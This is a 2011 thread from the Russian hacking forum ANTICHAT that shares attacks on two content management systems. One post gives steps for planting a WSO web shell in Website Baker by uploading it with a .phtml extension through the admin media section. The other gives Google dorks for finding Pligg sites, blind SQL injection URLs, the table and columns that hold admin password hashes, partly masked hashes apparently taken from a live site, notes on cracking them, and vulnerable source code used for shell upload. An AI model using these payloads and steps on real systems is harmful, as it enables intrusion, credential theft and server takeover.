ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

05.11.2011, 17:29
|
|
Guest
Сообщений: n/a
Провел на форуме: 28093
Репутация:
11
|
|
Website Baker CMS
Website Baker CMS заливка шелла, все версии
Нужна админка. Уязвимость существует из-за того, что админы этой CMS незнают, что можно *.phtml выполнять как php
1) Идем в админку:
http://www.opensourcecms.com/demo/2/68/Website_Baker
admin:demo123
2) В раздел Media
3) Переименуем наш шелл в *.phtml, т.е. wso.php => wso.phtml
4) Заливаем через форму справа(Upload file(s))
5) Получаем шелл, причем с сайта opensourcecms.com
UPD. Кто убил демку WebBaker-а? Имейте совесть...
|
|
|
|

06.11.2011, 16:26
|
|
Guest
Сообщений: n/a
Провел на форуме: 4100
Репутация:
74
|
|
Pligg CMSv.1.2.0 (последняя) g00gle >7KK
dorki:
Pligg Content Management System
Pligg CMS
Boolean-Based vurnel
Код:
Code:
http://pligg/story.php?title=qwe' AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(116,97,103,115) AND table_schema=CHAR(119,101,98,49,95,100,98,53)),2,1)) > 1 AND 'AOOt'='AOOt
Код:
Code:
http://pligg/story.php?title=qwe' AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(116,97,103,115) AND table_schema=CHAR(119,101,98,49,95,100,98,53)),1,1)) > 51 AND 'AOOt'='AOOt
Код:
Code:
http://pligg/story.php?title=qwe' AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(116,97,103,115) AND table_schema=CHAR(119,101,98,49,95,100,98,53)),1,1)) > 52 AND 'AOOt'='AOOt
Сообщение от None
Таблицы:
prefix: pligg_
table: users
columns: user_login,user_pass (where user_level='god')
for example
Сообщение от None
www.proprofs.com
Alexa 10K (~100K unikov)
Код:
Code:
god, ***************809b221f581cdbba8c1489e******
james, ****************91acf54adcea0b79a79d******
gsbaghel, ***************f5ecb878f4d045e5306c2413c******
С хэшами тут так:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]generateHash[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$plainText[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$salt[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]){
if ([/COLOR][COLOR="#0000BB"]$salt[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$salt[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]uniqid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"])),[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SALT_LENGTH[/COLOR][COLOR="#007700"]); }
else {
[/COLOR][COLOR="#0000BB"]$salt[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$salt[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SALT_LENGTH[/COLOR][COLOR="#007700"]);
}
return[/COLOR][COLOR="#0000BB"]$salt[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]sha1[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$salt[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$plainText[/COLOR][COLOR="#007700"]);
}[/COLOR][/COLOR]
Вообщем отсекаем первые 9 символов хэша (из 49) - и они же являются солью в оставшихся 40 символах (уже SHA1)
Shell Upload
Сообщение от None
Заливаемся через:
1) модули
2) редактирование тем
vurnel code
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$my_base_url[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'my_base_url'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"http://"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"HTTP_HOST"[/COLOR][COLOR="#007700"]]);
if(isset([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'action'[/COLOR][COLOR="#007700"]])){[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sanit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'action'[/COLOR][COLOR="#007700"]]);}else{[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];}
[/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strrpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"SCRIPT_NAME"[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"SCRIPT_NAME"[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"]){[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];}
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'my_pligg_base'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$my_pligg_base[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"];
} else {
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'my_base_url'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$my_base_url[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'my_pligg_base'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$my_pligg_base[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'urlmethod'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$URLMethod[/COLOR][COLOR="#007700"]);
if(isset([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'template'[/COLOR][COLOR="#007700"]])){
[/COLOR][COLOR="#0000BB"]$thetemp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'..'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]sanit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'template'[/COLOR][COLOR="#007700"]]));
}
[/COLOR][COLOR="#FF8000"]// template check
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]dirname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]__FILE__[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'/templates/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$thetemp[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"/pligg.tpl"[/COLOR][COLOR="#007700"];
unset([/COLOR][COLOR="#0000BB"]$errors[/COLOR][COLOR="#007700"]);
if (![/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])) {[/COLOR][COLOR="#0000BB"]$errors[/COLOR][COLOR="#007700"][]=[/COLOR][COLOR="#DD0000"]'You may have typed the template name wrong or "'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$thetemp[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'" does not exist. Click here to fix it.'[/COLOR][COLOR="#007700"]; }
if (isset([/COLOR][COLOR="#0000BB"]$errors[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$thetemp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"wistie"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]dirname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]__FILE__[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'/templates/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$thetemp[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"/pligg.tpl"[/COLOR][COLOR="#007700"];
if (![/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])) {echo[/COLOR][COLOR="#DD0000"]'The default Wistie template does not exist anymore. Please fix this by reuploading the Wistie template!'[/COLOR][COLOR="#007700"]; die();}
foreach ([/COLOR][COLOR="#0000BB"]$errors[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$output[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Error:[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"];
}
if ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'SCRIPT_NAME'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"admin_config.php"[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'SCRIPT_NAME'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"login.php"[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]){
echo[/COLOR][COLOR="#DD0000"]"Error:[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"];
die();
}
}[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$view[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'view'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]sanitize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'view'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) !=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]sanitize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'view'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) :[/COLOR][COLOR="#DD0000"]'profile'[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]$view[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'setting'[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$truelogin[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]$view[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'profile'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$page_header[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]username[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$post_title[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_config_vars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PLIGG_Visual_Breadcrumb_Profile'[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]" | "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'user_view'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$view[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$view[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'profile'[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]do_viewfriends[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'view_href'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'nav_pd'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
} else {
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'nav_pd'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]);
}
if ([/COLOR][COLOR="#0000BB"]$view[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'voted'[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$page_header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]' | '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_config_vars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PLIGG_Visual_User_NewsVoted'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$navwhere[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'text3'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_config_vars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PLIGG_Visual_User_NewsVoted'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$post_title[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]" | "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_config_vars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PLIGG_Visual_User_NewsVoted'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'view_href'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'voted'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'nav_nv'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
} else {
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'nav_nv'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]);
}
if ([/COLOR][COLOR="#0000BB"]$view[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'history'[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$page_header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]' | '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_config_vars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PLIGG_Visual_User_NewsSent'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$navwhere[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'text3'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_config_vars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PLIGG_Visual_User_NewsSent'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$post_title[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]" | "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_config_vars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PLIGG_Visual_User_NewsSent'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'view_href'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'submitted'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'nav_ns'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
} else {
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'nav_ns'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]);
}
if ([/COLOR][COLOR="#0000BB"]$view[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'setting'[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$usercategorysql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT * FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]table_users[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" where user_login = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]escape[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"' "[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$userresults[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_results[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$usercategorysql[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$userresults[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]object_2_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userresults[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$get_categories[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$userresults[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'0'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'user_categories'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$user_categories[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]","[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$get_categories[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$categorysql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT * FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]table_categories[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" where category__auto_id!='0' "[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$results[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_results[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$categorysql[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$results[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]object_2_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$results[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$category[/COLOR][COLOR="#007700"]= array();
foreach([/COLOR][COLOR="#0000BB"]$results[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$category[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'category_name'[/COLOR][COLOR="#007700"]];
}
[/COLOR][COLOR="#0000BB"]$sor[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'err'[/COLOR][COLOR="#007700"]];
if([/COLOR][COLOR="#0000BB"]$sor[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$err[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"You have to select at least 1 category"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'err'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$err[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'category'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$results[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'user_category'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$user_categories[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'view_href'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'submitted'[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]Allow_User_Change_Templates[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"templates"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$templates[/COLOR][COLOR="#007700"]= array();
foreach ([/COLOR][COLOR="#0000BB"]scandir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]) as[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])
if ([/COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"])!==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#DD0000"]/[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#DD0000"]/header.tpl"[/COLOR][COLOR="#007700"]))
[/COLOR][COLOR="#0000BB"]$templates[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'templates'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$templates[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'current_template'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]sanitize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'template'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]));
